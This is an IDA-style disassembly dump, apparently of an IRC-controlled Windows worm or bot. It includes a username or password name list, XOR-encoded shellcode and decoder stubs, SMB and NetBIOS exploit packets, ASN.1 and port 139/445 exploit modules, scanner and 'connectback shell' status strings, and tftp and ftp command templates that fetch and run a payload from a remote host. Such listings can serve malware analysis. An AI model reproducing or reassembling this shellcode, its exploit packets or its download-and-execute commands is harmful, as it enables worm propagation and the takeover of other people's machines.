aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD50o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD4Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD48o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD44o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD40o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD3Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD38o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD34o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD30o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD2Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD28o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD24o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD20o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD1Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD18o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD14o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD10o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD0Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD08o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD04o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD00o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DCFCo
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DCF8o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DCF4o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DCF0o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DCECo
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DCE8o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DCE4o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DCE0o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DCDCo
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DCD8o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DCD4o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DCD0o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DCCCo
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DCC8o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCC4o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCC0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCBCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCB8o
		align 10h
byte_431910	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431914	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431918	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431920	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431924	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431928	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43192C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431930	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431934	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431938	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43193C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431940	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431948	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431958
; ---------------------------------------------------------------------------


loc_431956:				; CODE XREF: ___:loc_431958p
		jmp	short loc_43195D
; ---------------------------------------------------------------------------


loc_431958:				; CODE XREF: ___:00431954j
		call	loc_431956


loc_43195D:				; CODE XREF: ___:loc_431956j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_431964:				; CODE XREF: ___:00431969j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_431964
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_43197A:				; CODE XREF: ___:0043197Fj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_43197A
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A1C
		jnz	short loc_431A08
		retn
; ---------------------------------------------------------------------------


loc_431A08:				; CODE XREF: ___:00431A05j
					; ___:00431A15j
		call	near ptr loc_431A0D+1


loc_431A0D:				; CODE XREF: ___:loc_431A08p
		add	[edx+0], ch
		call	sub_431A1C
		jz	loc_431A08
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A1C	proc near		; CODE XREF: ___:00431A00p
					; ___:00431A10p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A1C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431AC8	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431ACC	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431AD0	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431AD4	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431AD8	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431ADC	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_431CAA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_1	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431CD6

; =============== S U B	R O U T	I N E =======================================



sub_431CC6	proc near		; CODE XREF: sub_431CC6:loc_431CD6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431CCE:				; CODE XREF: sub_431CC6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431CCE
		jmp	short loc_431CDB
; ---------------------------------------------------------------------------


loc_431CD6:				; CODE XREF: ___:00431CC4j
		call	sub_431CC6


loc_431CDB:				; CODE XREF: sub_431CC6+Ej
		jo	short near ptr dword_431C64+12h
		cwde
		cdq
		cdq
		retn
sub_431CC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431E58	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431E84	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431ECC	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431F08	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431F18	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431F34	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431F68	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431F98	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431FB8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431FD4	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432008	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_432070	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320A4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4320D8	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43210C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_432134	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321AC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432218	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_43224C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_432300	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_432308	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_43230C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_432314	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43239C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4323CC	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_4323D8	db  81h	; │		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432424	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432468	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432564
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43257A
		mov	[esi+8], eax
		call	sub_43252D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43257A
		mov	[esi+0Ch], eax
		call	sub_4324DF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43257A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432468	endp


; =============== S U B	R O U T	I N E =======================================



sub_4324DF	proc near		; CODE XREF: sub_432468+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432508
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4324DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432508	proc near		; CODE XREF: sub_4324DF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432517:				; CODE XREF: sub_432508+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432524
		inc	ebx
		jmp	short loc_432517
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: sub_432508+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432508	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43252D	proc near		; CODE XREF: sub_432468+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432545:				; CODE XREF: sub_43252D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43254D
		mov	ecx, [ecx]
		jmp	short loc_432545
; ---------------------------------------------------------------------------


loc_43254D:				; CODE XREF: sub_43252D+1Aj
		mov	edx, edi


loc_43254F:				; CODE XREF: sub_43252D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432559
		mov	edx, [edx+4]
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_432559:				; CODE XREF: sub_43252D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43252D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432564	proc near		; CODE XREF: sub_432468+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432564	endp


; =============== S U B	R O U T	I N E =======================================



sub_43257A	proc near		; CODE XREF: sub_432468+16p
					; sub_432468+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_432590:				; CODE XREF: sub_43257A+33j
		jecxz	short loc_4325CA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43259D:				; CODE XREF: sub_43257A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325A9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43259D
; ---------------------------------------------------------------------------


loc_4325A9:				; CODE XREF: sub_43257A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_432590
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4325CA:				; CODE XREF: sub_43257A:loc_432590j
					; sub_43257A:loc_4325CAj
		jmp	short loc_4325CA
sub_43257A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4325D0	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432622
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4325ED:				; CODE XREF: sub_4325D0+38j
		jecxz	short loc_43261D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4325F8:				; CODE XREF: sub_4325D0+32j
		lodsb
		test	al, al
		jz	short loc_432604
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4325F8
; ---------------------------------------------------------------------------


loc_432604:				; CODE XREF: sub_4325D0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4325ED
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43261D:				; CODE XREF: sub_4325D0:loc_4325EDj
		mov	[esp+arg_0], ebx
		retn
sub_4325D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432622	proc near		; CODE XREF: sub_4325D0+7p

; FUNCTION CHUNK AT 0043265A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43263B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432646
; ---------------------------------------------------------------------------


loc_43263B:				; CODE XREF: sub_432622+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432646:				; CODE XREF: sub_432622+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43265A
sub_432622	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43264D	proc near		; CODE XREF: sub_432622:loc_43265Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43264D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432622


loc_43265A:				; CODE XREF: sub_432622+29j
		call	sub_43264D


loc_43265F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432622
; ---------------------------------------------------------------------------
		dw 0
dword_432664	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_432670	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_432674	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_432678	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_432684:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_43268C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43268C	dd 0			; CODE XREF: ___:loc_432684j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_4326F8	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432704:				; CODE XREF: ___:0043270Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432704
		inc	edi
		jz	short loc_43274B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_432773
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43274B:				; CODE XREF: ___:00432711j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327AA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432770:				; CODE XREF: ___:0043279Dj
		xor	[esi-25h], bl


loc_432773:				; CODE XREF: ___:00432719j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
